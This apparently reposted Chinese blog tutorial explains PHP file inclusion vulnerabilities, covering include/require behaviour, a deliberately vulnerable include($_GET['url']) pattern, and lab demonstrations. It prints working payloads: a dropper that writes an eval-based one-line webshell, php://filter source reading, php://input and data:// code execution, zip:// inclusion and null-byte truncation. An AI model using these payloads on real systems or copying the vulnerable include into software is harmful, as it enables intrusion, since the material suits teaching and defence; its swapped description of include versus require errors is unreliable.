侯体宗的博客
  • 首页
  • Hyperf版
  • beego仿版
  • 人生(杂谈)
  • 技术
  • 关于我
  • 更多分类
    • 文件下载
    • 文字修仙
    • 中国象棋ai
    • 群聊
    • 九宫格抽奖
    • 拼图
    • 消消乐
    • 相册

php文件包含漏洞原理浅探

php  /  管理员 发布于 7年前   629

文件包含漏洞原理浅探

文件包含

文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是“文件包含”

由于文件包含的功能特性,导致客户端可以调用一个恶意文件,进行动态调用

PHP文件包含

PHP提供了四个文件包含函数提供的功能强大且灵活多变,经常存在文件包含函数

(推荐学习:PHP视频教程)

include()

无法查到被包含的文件时产生错误"E_COMPLE_ERROR"停止运行

include_once()

和前者一样,如果文件中的代码已经包含了,则不再会包含

require()

无法查到被包含的文件是产生警告"E_WARNING"继续运行

require_once()

和前者一样,无法查到被包含的文件是产生警告"E_WARNING"继续运行

开发演示

<?php    include("ArrayUtil.php"); //利用include函数包含    $arr = array("sougou","google","yahoo","baidu","FackBook");    PrintArr($arr);?>
<?php    function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){        foreach ($arr as $key => $value) {echo "$key $sp $value $lin";        }    }?>

在index.php文件中使用include函数文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函数;在index.php第4行我们调用了PrintArr()函数。

使用浏览器访问index.php

漏洞演示(本地执行)

<?php    include("phpinfo.txt");?>
<?php    phpinfo();?>

喏!一个txt文件被成功包含了;笔者测试了其它各种服务器可接受的文件格式,均实验成功!由此笔者得到的论证是:include()函数包含的任何文件都会以PHP文件解析,但前提是文件的内容符合PHP代码规范;若内容不符合PHP代码规范则会在页面暴露文件内容(这是重点)

漏洞演示(远程执行)

PHP不单单可以在服务端(本地)执行文件包含,也可以远程执行文件包含;

远程的文件包含执行需要修改PHP.ini配置文件(php默认关闭远程包含文件)

allow_url_include = on

由于我们不具备远程条件,只好本地搭建环境将就一下哈!!!

D:\phpStudy\phpinfo.txt

<?php    phpinfo();?>

127.0.0.1/index.php

<?php    include("D:\phpStudy\phpinfo.txt");?>

换一个方法

<?php    include($_GET['url']);?>// 记住这个代码后面会一直使用

这里的URL参数值提交的只是一个远程包含文件的URL地址;远程文件包含和本地文件包含的解析方法一样,只要符合PHP代码规范就可以按照PHP代码解析执行。

如果我们包含的文件不存在,则会发生Error,网站的路径就会暴露!

读取敏感文件

构造类似http://127.0.0.1/?url=.\phpinfo.txt

喏!我们看见了文本内容,为什么呢?

因为include()函数会执行文件包含,不管是什么格式的文件只要符合PHP代码规范的内容就会按照PHP解析;而不符合PHP代码规范的则会直接输出文件内容。

综合特性:利用该特性包含文件的方法,访问本地的其它文件均会执行php解析或者回显文本的内容;尤其是系统敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路径则需要结合其它姿势来获得(例如上面利用error回显的方式)

重要的一点:得具有文件的操作权限哦

远程包含Shell

远程包含文本的条件是 allow_url_fopen= on

创建shell.txt(功能:在服务端本地创建一句话木马脚本)

<?php    $key= ("<?php @eval(\$_POST['mirror']);?>");//$符号需要转义要按字符存    $file = fopen("shell.php","w");    fwrite($file, $key);    fclose($file);?>

构造:http://127.0.0.1/?url=..\xx\shell.txt

远程包含文本执行成功后,服务端本地会创建一个"shell.php"一句话木马执行文件

shell.php创建后,使用“菜刀”连接一句话:

喏!包含执行文件创建本地一个shell.php一句话木马,然后菜刀连木马!一梭子搞定!

文件包含配合上传

利用web应用的上传功能,上传一张伪木马图片,然后利用文件包含执行已上传的图片,然后伪木马图片的功能就是被包含执行后在服务端本地创建一个木马执行php文件

PHP封装协议利用

PHP内置很多的PHP封装协议(详细见官方文档),封装协议的功能和文件函数(fopen(),copy(),file_exists(),filesize())提供的功能相似

allow_url_fopen:on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等

考虑安全都是全部关闭

内置封装协议

【引用官方文档】

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

file://协议:

访问本地文件系统

file://[本地文件的绝对路径和文件名]

php://协议:

访问各个IO流

需要开启 allow_url_include: on

  • php://stdin:直接访问PHP进程相应的输入或输出流(只读)

  • php://stdout:直接访问PHP进程相应的输入或输出流(只写)

  • php://stderr:直接访问PHP进程相应的输入或输出流(只写)

  • php://filter:进行任意文件读取的利用

  • php://input:访问请求的原始数据的只读流,将post请求中的数据作为php解析

  • php://output:只写的数据流,允许print和echo方式写入到输出缓存中

  • php://fd: 允许直接访问指定的文件描述符

    更多详细可以参考官方php://协议文档

zip://协议:

(zip:// , bzip2:// , zlib:// )属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

注意 井字符号 ’ # ‘ 在url中需要转为 %23

data://协议:

data://text/plain;base64,[string_base64加密后]

glob://协议:

查询匹配的文件路径模式

glob://[url]
<?php// 循环 ext/spl/examples/ 目录里所有 *.php 文件// 并打印文件名和文件尺寸$it = new DirectoryIterator("glob://ext/spl/examples/*.php");foreach($it as $f) {    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);}?>

expect://协议:

处理交互式数据流(默认未开启,需要安装PECL—Expect扩展)

expect://command

参见文章:php伪协议实现命令执行的七种姿势

读取PHP文件

利用file://读取文件内容

file://[本地文件的绝对路径和文件名]

利用php://filter读取php文件内容

http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php

这里的结果是经过Base64加密的

利用php://input:

使用php://input可以执行PHP语句,但是受限于allow_utl_include= On

url text:

http://127.0.0.1/index.php/?url=php://input

Post data:

<?php phpinfo();?>

喏!利用“php://input"执行php代码”post data数据内容“,这里只是回显phpinfo(),如果我们利用php://input执行服务端本地创建php一句话木马文件,后果可想而知

利用data://:

受限于allow_utl_include= Onphp.ini配置

?file=[data://text/plain;base64,[base64编码加密的payload)]

注意没有php闭合标签

利用zip://:

?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php

总结

包含执行总结

上面这张图是笔者从FREEBUF漏斗社区的文章中copy来的,算是一个不错的总结^_^

截断包含

magic_quotes_gpc = off函数为Off状态才可以使用,因为在On状态下%00会被转义导致无法截断;https://www.cnblogs.com/timelesszhuang/p/3726736.html

PHP6/7关闭了magic_quotes_gpc函数: PHP6\7关闭magic_quotes_gpc对程序的影响

文件包含的漏洞修复,尤其是include()相关文件包含函数,只要限制后缀名就好了?

<?php    if(iset($_GET['url'])){include $_GET['url'].".php";    } else{        include 'home.php';    }?>

上述程序就是固定限制后缀名,用户只需要指明文件名就可以,不需要用户提交后缀名

现在我们利用之前的包含手段,包含"shell.php"文件

http://127.0.0.1/index.php/?url=shell.php

由于程序固定了文件后缀格式,于是在后台会构成

shell.php.php

而include()无法查找到“shell.php.php”,故此导致报错

采用字节截断

http://127.0.0.1/index.php/?url=shell.php%00

PHP5.2+的版本渐渐的都修复了字节截断,所以很少有利用了

笔者不做过多的细节说明^_^

本文来自,php教程栏目,欢迎学习!

以上就是php文件包含漏洞原理浅探的详细内容,更多请关注其它相关文章!


  • 上一条:
    PHP 7.4中的预加载(Opcache Preloading)
    下一条:
    PHP 7.4中的类型属性(Typed Properties)
  • 昵称:

    邮箱:

    0条评论 (评论内容有缓存机制,请悉知!)
    最新最热
    • 分类目录
    • 人生(杂谈)
    • 技术
    • linux
    • Java
    • php
    • 框架(架构)
    • 前端
    • ThinkPHP
    • 数据库
    • 微信(小程序)
    • Laravel
    • Redis
    • Docker
    • Go
    • swoole
    • Windows
    • Python
    • 苹果(mac/ios)
    • 相关文章
    • Laravel从Accel获得5700万美元A轮融资(0个评论)
    • PHP 8.4 Alpha 1现已发布!(0个评论)
    • 用Time Warden监控PHP中的代码处理时间(0个评论)
    • 在PHP中使用array_pop + yield实现读取超大型目录功能示例(0个评论)
    • Property Hooks RFC在PHP 8.4中越来越接近现实(0个评论)
    • 近期文章
    • 在go语言中使用api.geonames.org接口实现根据国际邮政编码获取地址信息功能(1个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf分页文件功能(0个评论)
    • gmail发邮件报错:534 5.7.9 Application-specific password required...解决方案(0个评论)
    • 欧盟关于强迫劳动的规定的官方举报渠道及官方举报网站(0个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf文件功能(0个评论)
    • Laravel从Accel获得5700万美元A轮融资(0个评论)
    • 在go + gin中gorm实现指定搜索/区间搜索分页列表功能接口实例(0个评论)
    • 在go语言中实现IP/CIDR的ip和netmask互转及IP段形式互转及ip是否存在IP/CIDR(0个评论)
    • PHP 8.4 Alpha 1现已发布!(0个评论)
    • Laravel 11.15版本发布 - Eloquent Builder中添加的泛型(0个评论)
    • 近期评论
    • 122 在

      学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..
    • 123 在

      Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..
    • 原梓番博客 在

      在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..
    • 博主 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..
    • 1111 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
    • 2016-10
    • 2016-11
    • 2017-06
    • 2017-07
    • 2017-08
    • 2017-09
    • 2017-11
    • 2017-12
    • 2018-01
    • 2018-02
    • 2018-03
    • 2020-03
    • 2020-04
    • 2020-05
    • 2020-06
    • 2020-07
    • 2020-09
    • 2021-02
    • 2021-03
    • 2021-04
    • 2021-05
    • 2021-06
    • 2021-07
    • 2021-08
    • 2021-09
    • 2021-10
    • 2021-11
    • 2021-12
    • 2022-01
    • 2022-02
    • 2022-05
    • 2022-06
    • 2022-07
    • 2022-08
    • 2022-09
    • 2022-10
    • 2022-11
    • 2022-12
    • 2023-01
    • 2023-02
    • 2023-03
    • 2023-04
    • 2023-05
    • 2023-06
    • 2023-07
    • 2023-08
    • 2023-09
    • 2023-10
    • 2023-11
    • 2023-12
    • 2024-01
    • 2024-02
    • 2024-03
    • 2024-04
    • 2024-05
    • 2024-06
    • 2024-07
    • 2024-09
    Top

    Copyright·© 2019 侯体宗版权所有· 粤ICP备20027696号 PHP交流群

    侯体宗的博客